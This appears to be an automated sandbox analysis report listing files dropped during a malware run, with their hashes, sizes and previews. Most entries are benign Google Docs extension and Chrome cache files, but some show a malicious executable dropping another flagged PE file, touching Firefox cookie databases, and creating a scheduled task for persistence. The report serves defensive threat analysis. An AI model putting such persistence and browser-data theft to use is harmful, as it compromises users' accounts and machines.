Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\e3786f02-5840-4382-ad9d-95f801dcb3a1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsJEHJKJEBGH.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3301888
Entropy (8bit):	6.638279327231539
Encrypted:	false
SSDEEP:	49152:zwuqnxzJGz0FiD0A4GyNe/98+njyKN1YrXbPU:enx1Gz0FiD0A4Re/2+njrErr
MD5:	1F851E1840E1A5A45D8C21630061CFC7
SHA1:	EA05EDF1430B5CFB312F07CE13314AC4D7F61BF8
SHA-256:	259B76B23A393BBE38478A12F7DF76EB71B676A0A0B6C1BB8F3085C5F4E6B461
SHA-512:	79A4007940E0B18817993F92E5A3C9DE360AEC6FF0EFB66280B2A9B54A54ADE74F655F3B93A5F933CD9E8DC7371757F4927201982FC6AD1C3EDC7D51A23B1B11
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................p2...........@...........................2......M3...@.................................W...k............................S2..............................S2..................................................... . ............................@....rsrc...............................@....idata ............................@...lfjbhkvb..+.......+.................@...xakcdfow.....`2......:2.............@....taggant.0...p2.."...@2.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.455347579908885
Encrypted:	false
SSDEEP:	6:DiDXUhXUEZ+lX1CGdKUe6tE9+AQy0lBtl0ut0:OD4Q1CGAFD9+nVBtldt0
MD5:	2BEBD87426C7E61930FBA8AE0FD1595A
SHA1:	FB9015F10A4438F8CF2958630557BFD3ABDD0FA3
SHA-256:	449320F03755AAE167CF28876056A31C87740DACC22AD16C6DBCD2FDB226850D
SHA-512:	DBC4503D782F2EEF09E98A44EAD9E49EAB772C975CCA3892EF88ADB502AF922ECDD22C2B540C4F2D096C5530A80FE912D772F1264BA92689DDEC740F4539A84B
Malicious:	false
Preview:	......."...H..r.....F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................3.@3P.........................

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	173724
Entropy (8bit):	5.557638948283294
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpR+wZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5RD7:i7bzO6X+wZDDjuBv5Vjq3B30GSXOA2PA
MD5:	DE13D8242B5D012961BE2219753C6C36
SHA1:	48568AC639492CCFAEFD1C2357D754639ADF0B9D
SHA-256:	923060263CFFF8A20362441AF1C714B4FC95DC4263DA8031CAAEAF24412AD3ED
SHA-512:	966A88FC81A1D452728F6619B4A03B7F129781044D3D073751FD090DB09F50217268966670CD4F623F512EF7F28824D20ABEDDFDFAD9B2BEC06D23F405087B01
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6458)
Category:	downloaded
Size (bytes):	6463
Entropy (8bit):	5.773808540415556
Encrypted:	false
SSDEEP:	192:WLkH6666gKTf2YlM01CNnH6666aXRt9nsmD31yJ:IkH66669bq01CZH6666IkuMJ
MD5:	6C1694EE45FF25DE1F01E50B78DA9D44
SHA1:	E19FE49DAB65A894BCD99318B7A76930F297343A
SHA-256:	2EC017A210EF0ACEDA682D4CB2FEAAC73BF77F7D2CE3F1173DC3174E52787B27
SHA-512:	7FC076A35237ACC595B7668C6B0342311D27AFC1C9C159167E694713A9A6FF1ABFDB8A5B6A6A73496699A3B95520A082117B2F8308D0E218BD10720E40135D6A
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["miss universe panama italy mora","john force","401k super catch up","hurricanes tropical storms","cod black ops season 1","secret lair marvel superdrop","asante samuel","super micro computer stock"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CgkvbS8wNDJ3eWQSDkFtZXJpY2FuIHJhY2VyMtsOZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBY0FBQURBQUlEQVFBQUFBQUFBQUFBQUFBRkJnY0NBd0VFQ0FEL3hBQXlFQUFDQVFJRUF3VUdCd0VBQUFBQUFBQUJBZ01FRVFBRkVpRUdNVkVUSWtGaGNRY1VNb0dSb1VKU3NjSFI0ZkJ5LzhRQUdRRUFBd0VCQVFBQUFBQUFBQUFBQUFBQUFnTUVBUVVBLzhRQUlCRUFBZ0lDQWd

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133519
Entropy (8bit):	5.43509709973905
Encrypted:	false
SSDEEP:	3072:2Pkvjxd0QniyZ+qQf4VBNQ0pqgvx7U+OUaKszQ:Ekvv0yTVBNQ0p1vxI+ORQ
MD5:	ACDFDE1F9D74085911F50A432022C8DA
SHA1:	F8A132C13C5F4317E20621FAEE0C36083184101A
SHA-256:	45FBA257D74EFF4856245E85C86542E54700EA24B4A3756CDADA8214CD8CFEF8
SHA-512:	855ECB3AF9CB2409B49B7A9A93CB18F93A50F2F3F9900A9CEE18F3F8E342A0D81C873B0341A0E3AEA0DD16030D6F0BCB1C26A35E45391C578BA22B14D96EEAA6
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
